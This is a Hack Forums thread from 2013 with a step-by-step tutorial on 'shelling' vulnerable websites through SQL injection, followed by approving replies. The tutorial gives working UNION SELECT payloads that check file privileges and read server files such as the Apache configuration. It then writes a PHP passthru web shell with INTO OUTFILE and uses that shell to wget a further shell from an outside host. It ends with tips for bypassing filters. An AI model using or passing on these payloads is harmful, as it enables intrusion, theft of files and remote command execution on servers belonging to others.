

Forum:[Hack Forums](#)

Thread: [Tutorial | Shelling via SQL Injection](#)

LevelUp - April 1, 2013, 12:01 pm

Alright, so this tutorial assumes that you've found an SQLi vulnerable site and have managed to get to the stage of finding the vulnerable columns.

Let's grab the current username

Code UNION SELECT null,null,null,user(),null --

So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step

Code UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges. Let's have a quick test of load_file /w INTO OUTFILE using the mysql data directory. Grab the directory via @@datadir

Code UNION SELECT null,null,null,@@datadir,null --

Code UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

Code UNION SELECT null,null,null,load_file('/path/returned/by/datadir/tim.txt'),null --

"my name is tim" should now be shown on the page, note that you made need to use hex() around load_file().

Now you'll need to grab an FPD rather than the mysql data dir if you want to get a shell up. You can attempt to get it via javascript injection /w null cookie

Code javascript:void(document.cookie="PHPSESSID=");or arrays

Code /article.php?id[]=5etc.

If you couldn't get that, then read this part, if you managed then skip ahead.

So you didn't get an FPD, you may be able to pull of this method.

Check the value returned by version() or @@version. Let's say it returned

Code 5.1.66-0+squeeze1-log

So it's running Debian, feel free to use load_file in conjunction to the default apache config file for deb

Code UNION SELECT null,null,null,load_file('/etc/apache2/apache2.conf'),null --

Look for a document root defined by #, if it's not there, don't panic as we can look in the vhost config for the default document root.

Code UNION SELECT null,null,null,load_file('/etc/apache2/sites-available/default'),null --

And you should now have the full path.

All that's left is our shell

Code UNION SELECT null,null,null,'<?passthru(\$_GET['cmd']);?>',null INTO OUTFILE '/full/path/bro/shell.php'--

*note: passthru() may be substituted by proc_open, shell_exec etc.

Now navigate to your shell and wget that shizz

Code http://www.site.come/shell.php?cmd=wget http://www.site.com/shellz/priv8shell.txt -o priv8shell.php

*note: wget may be substituted with curl etc.

*note: group_concat(0x0a,grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges is best used instead of mysql.user for (>5)

*note: Try bypass filter of <? ?> with MYSQL_CHAR()

Processor - April 1, 2013, 12:11 pm

Do you need wget installed on windows machines?

LevelUp - April 1, 2013, 12:16 pm

(Apr 1, 2013 12:11 PM)Processor Wrote: [\[CITE\]](#) Do you need wget installed on windows machines? Yes to use the wget command the target machine must have it installed. Then again if it was a .asp you're most likely going to be dealing with MSSQL or MSAccess rather than MySQL.

S.a.b.e.r - April 1, 2013, 12:16 pm

The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it.

LevelUp - April 1, 2013, 12:17 pm

(Apr 1, 2013 12:16 PM)S.a.b.e.r Wrote: [\[CITE\]](#) The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it. I did mention at the top that we have to check for root privileges.

(Apr 1, 2013 12:01 PM)h3xh0ax Wrote: [\[CITE\]](#) So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step

Code UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges.

S.a.b.e.r - April 1, 2013, 12:21 pm

(Apr 1, 2013 12:17 PM)h3xh0ax Wrote: [\[CITE\]](#) I did mention at the top that we have to check for root privileges.

Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

LevelUp - April 1, 2013, 12:21 pm

(Apr 1, 2013 12:21 PM)S.a.b.e.r Wrote: [\[CITE\]](#) Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

Indeed, read and write privileges can be a whore.

Mimix - April 1, 2013, 12:36 pm

Love this tutorial, and simple writing! no thread gfx shit haha

cyber uryuu - April 1, 2013, 9:38 pm

thanks for sharing this nice tutorial

soeasy - April 3, 2013, 2:24 pm

Quote: Grab the directory via @@datadir

Quote:UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

What's the point of finding the path of Mysql data directory.It's totally useless

LevelUp - April 4, 2013, 3:44 am

(Apr 3, 2013 02:24 PM)soeasy Wrote: [\[CITE\]](#) What's the point of finding the path of Mysql data directory. It's totally useless

Are you not reading? It's to test if load_file is useable.

file_priv won't always return a value.

Neca - April 4, 2013, 5:25 am

Great tutorial, thanks for posting it.

xxlabellexx - April 4, 2013, 6:27 am

Bookmarked for later use! <3 :D Is there any way to save this thread on my account here?

grifmajster - April 4, 2013, 10:47 am

Thanks, works pretty nice. I can't rep you, but I would. Thanks!

adnanalimk - November 11, 2013, 9:54 am

very nice tutorial bro.. Thanks.... keep it up